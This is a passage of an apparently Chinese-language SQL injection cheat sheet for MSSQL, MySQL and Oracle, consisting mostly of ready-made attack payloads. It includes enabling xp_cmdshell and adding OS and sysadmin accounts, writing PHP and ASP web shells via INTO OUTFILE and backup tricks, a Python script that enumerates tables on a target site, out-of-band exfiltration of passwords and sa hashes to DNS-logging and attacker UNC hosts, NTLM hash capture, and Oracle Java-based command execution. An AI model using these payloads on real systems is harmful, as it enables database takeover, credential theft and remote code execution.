EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; 交互 sqsh -S 192.168.1.X -U sa -P superPassword python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758 执行python脚本列出正在使用的用户 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' 打开并读取文件 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' 多行执行 EXECUTE sp_execute_external_script @language = N'Python', @script = N' import sys print(sys.version) ' GO ``` **OOB** ``` dnslog 需要VIEW SERVER STATE 权限 1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null)) 需要 CONTROL SERVER 权限 1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default))) 1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default)) UNC Path MSSQL支持堆查询，创建一个指向我们的 IP 地址的变量，然后使用 xp_dirtree 函数列出我们 SMB 共享中的文件并获取 NTLMv2 哈希 1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- xp_dirtree '\\attackerip\file' xp_fileexist '\\attackerip\file' BACKUP LOG [TESTING] TO DISK = '\\attackerip\file' BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file' RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file' RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file' RESTORE HEADERONLY FROM DISK = '\\attackerip\file' RESTORE FILELISTONLY FROM DISK = '\\attackerip\file' RESTORE LABELONLY FROM DISK = '\\attackerip\file' RESTORE REWINDONLY FROM DISK = '\\attackerip\file' RESTORE VERIFYONLY FROM DISK = '\\attackerip\file' 添加DBA EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; 信任链接数据库之间的链接甚至可以跨林信任工作 msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] 如果要利用获取meterpreter会话的权限，将DEPLOY设置为true 查找链接 select * from master..sysservers 通过链接执行查询 select * from openquery("dcorp-sql1", 'select * from master..sysservers') select version from openquery("linkedserver", 'select @@version as version'); 多条查询 select version from openquery("link1",'select version from openquery("link2","select @@version as version")') 执行shell命令 EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"') 创建用户给权限 EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" ``` **拿shell** ``` 判断数据库 ;and (select count(*) from sysobjects)>0 mssql ;and (select count(*) from msysobjects)>0 access 查库 ?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 -- ?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 -- 查表 ``` ```python import requests import re table_list = [''] def get_sqlserver_table(table_list, table_num): for num in range(0,table_num): # print("','".join(table_list)) sql_str = "and (select top 1 name from [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('{}'))>0".format("','".join(table_list)) url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str) r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'}) res = re.search(r'\'(.*)\'', r.content.decode('utf-8'), re.M|re.I) table_name = str(res.group(1)) table_list.append(table_name) print("[{}] - TableName: {}".format(str(r.status_code), table_name)) if __name__ == "__main__": get_sqlserver_table(table_list, 16) ``` ``` 判断是否存在xp_cmdshell and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') 执行命令 ;exec master..xp_cmdshell "net user name password /add"— 查看权限 and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //sa and (select IS_MEMBER('db_owner'))=1-- // dbo and (select IS_MEMBER('public'))=1-- //public 站库分离获取服务器IP ;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;-- LOG备份 ;alter database testdb set RECOVERY FULL -- ;create table cmd (a image) -- ;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init -- ;insert into cmd (a) values ('<%%25Execute(request("chopper"))%%25>')-- ;backup log testdb to disk = 'c:\wwwroot\shell.asp' – 2000差异备份 ;backup database testdb to disk ='c:\wwwroot\bak.bak';-- ;create table [dbo].[testtable] ([cmd] [image]);-- ;insert into testtable (cmd) values(木马hex编码);-- ;backup database testdb to disk='c:\wwwroot\upload\shell.asp' WITH DIFFERENTIAL,FORMAT;-- 2005差异备份 ;alter/**/database/**/[testdb]/**/set/**/recovery/**/full— ;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[testdb]/**/to/**/disk=@d/**/with/**/init-- ;create/**/table/**/[itpro]([a]/**/image)— ;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init-- ;insert/**/into/**/[itpro]([a])/**/values(木马hex编码)— ;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=木马保存路径的SQL_EN编码/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init-- ;drop/**/table/**/[itpro]— ;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init-- ``` # MYSQL **注释符** ``` # -- 注意这里有个空格 /* hello */ /*! hello */ /*!32302 10*/ MYSQL version 3.23.02 ``` **联合查询** ``` 得到列数 order by或group by 不断增加数字，直到得到报错响应 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True 1' ORDER BY 3--+ #True 1' ORDER BY 4--+ #False - 只有三个列数或 1' GROUP BY 1--+ #True 1' GROUP BY 2--+ #True 1' GROUP BY 3--+ #True 1' GROUP BY 4--+ #False - 只有三个列数报错类型的union select 1' UNION SELECT @--+ 1' UNION SELECT @,@--+ 1' UNION SELECT @,@,@--+ 报错类型的LIMIT INTO 注入点位于LIMIT后，查找列数 1' LIMIT 1,1 INTO @--+ 1' LIMIT 1,1 INTO @,@--+ 1' LIMIT 1,1 INTO @,@,@--+ #没报错只有三个列数 information_schema 提取数据库 UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Mysql >=4.1没有information_schema 获取列数 ?id=(1)and(SELECT * from db.users)=(1) 获取列名 ?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1) MySQL 5的方法 -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a --#1060 - Duplicate column name 'id' -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a -- #1060 - Duplicate column name 'name' -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a 不知道列名提取数据 select `4` from (select 1,2,3,4,5,6 union select * from users)dbname; http://url/index.php?id=1 order by 6 http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- - http://url/index.php?id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- - ``` **基于报错注入** ``` MySQL >= 4.1 (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+' UpdateXML 函数 AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)-- AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)-- ' and updatexml(null,concat(0x0a,version()),null)-- - ' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- - Extractvalue函数 MySQL >= 5.1 ?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))-- ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))-- ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))-- ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))-- ?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))-- NAME_CONST函数 MySQL >= 5.0 ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)-- ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)-- ?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)-- ``` **盲注** **substring** ``` ?id=1 and substring(version(),1,1)=5 ?id=1 and right(left(version(),1),1)=5 ?id=1 and left(version(),1)=4 ?id=1 and ascii(lower(substr(Version(),1,1)))=51 ?id=1 and (select mid(version(),1,1)=4) ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' ?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' ``` **ORDER BY** ``` [...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- - ``` **REGEXP** ``` ' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- - 工作流程 SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -'; 条件语句返回正常 2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 Response: HTTP/1.1 500 Internal Server Error 返回错误 2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2 Response: HTTP/1.1 200 OK ``` **MAKE\_SET** ``` AND MAKE_SET(YOLO<(SELECT(length(version()))),1) AND MAKE_SET(YOLO=100,1, BENCHMARK(2000000,MD5(NOW()))) -- ?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) -- ?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2 ``` **一次性转储数据** ``` MYSQL DIOS (select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)# (select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)# make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) (select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a) (select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)) (Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)) +make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) (/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a) +concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+ +concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+ +/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+ (select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a) ``` **当前查询** ``` 该表可以列出 DB 目前正在执行的所有操作 union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST # 一条语句导出此表内容 union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 # ``` **读取文件内容** ``` filepriv ' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php')); GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;# ``` **写shell** ``` [...] UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php" [...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '' [...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- - [...] union all select 1,2,3,4,"",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' [...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php' [...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php'; ``` **截断** ``` 在 MYSQL 中“ admin ”和“ admin”是一样的。如果数据库中的用户名列有字符限制，则其余字符将被截断。因此，如果数据库的列限制为 20 个字符，并且我们输入一个包含 21 个字符的字符串，那么最后 1 个字符将被删除。 `username` varchar(20) not null payload：username = "admin a" ``` **快速查询** ``` MySQL >= 5.7.22 group_concat() = 1024 个符号 json_arrayagg() > 16,000,000 个符号 SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES; ``` **MYSQL UDF 命令执行** ``` 见windows提权MYSQL udf ``` **OOB** ``` select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt'; select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt ``` **DNSLOG** ``` MYSQL结合dnslog ?id=1' and if((select load_file(concat('\\\\',(select database()),'.jhsefs.ceye.io\\sql_test'))),1,0)--+ 显示数据库 ?id=1' and if((select load_file(concat('\\\\',(select schema_name from information_schema.schemata limit {0},1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+ 显示表 ?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dbname' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+ ?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x1x1x2x limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+ 显示字段 ?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+ 显示数据 ?id=1' and if((select load_file(concat('\\\\',(select hex(user) from users limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+ MSSQL结合dnslog 查数据 ?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"'); Sa密码 ?id=1DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"'); 执行命令 exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3"; exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!"""; exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3"""; postgreSQL结合dnslog ?id=1;DROP TABLE IF EXISTS table_output;CREATE TABLE table_output(content text);CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function(); Oracle结合dnslog ?id=1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL; ?id=1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL; ?id=1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL; ?id=1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL; ``` **NTLM 哈希窃取** ``` select load_file('\\\\error\\abc'); select load_file(0x5c5c5c5c6572726f725c5c616263); select 'osanda' into dumpfile '\\\\error\\abc'; select 'osanda' into outfile '\\\\error\\abc'; load data infile '\\\\error\\abc' into table database.table_name; ``` # Oracle **版本** ``` SELECT user FROM dual UNION SELECT * FROM v$version ``` **数据库名** ``` SELECT global_name FROM global_name; SELECT name FROM V$DATABASE; SELECT instance_name FROM V$INSTANCE; SELECT SYS.DATABASE_NAME FROM DUAL; ``` **列库** ``` SELECT DISTINCT owner FROM all_tables; ``` **列表** ``` SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; ``` **列字段** ``` SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo'; ``` **基于报错注入** | 描述 | 执行 | | ------------------ | -------------------------------------------------------------------------------------------------------------------------------------- | | 不合法的HTTP请求 | SELECT utl\_inaddr.get\_host\_name((select banner from v$version where rownum=1)) FROM dual | | CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual | | 不合法的 XPath | SELECT ordsys.ord\_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual | | 不合法的 XML | SELECT to\_char(dbms\_xmlgen.getxml('select "'\|\|(select user from sys.dual)\|\|'" FROM sys.dual')) FROM dual | | 不合法的 XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username \|\| ',')),'/s').getstringval(),',') FROM all\_users | | SQL Error | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL\_USERS) WHERE LIMIT=1)) | | ##### 盲注 | | | 描述 | 执行 | | :------------- | :------------- | | 版本 12.2 | SELECT COUNT(\*) FROM v$version WHERE banner LIKE 'Oracle%12.2%'; | | Subselect 启用 | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) | | 表log\_table存在 | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log\_table); | | 字段信息存在于 log\_table | SELEC COUNT(\*) FROM user\_tab\_cols WHERE column\_name = 'MESSAGE' AND table\_name = 'LOG\_TABLE'; | | 第一个字符为t | SELEC message FROM log\_table WHERE rownum=1 AND message LIKE 't%'; | | ##### 时间类型注入 | | ``` AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 注释符 -- /**/ ``` **命令执行** ``` /* 创建Java类 */ BEGIN EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; END; / BEGIN EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END; / /* 执行系统命令 */ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; 或（十六进制） /* 创建Java类 */ SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate 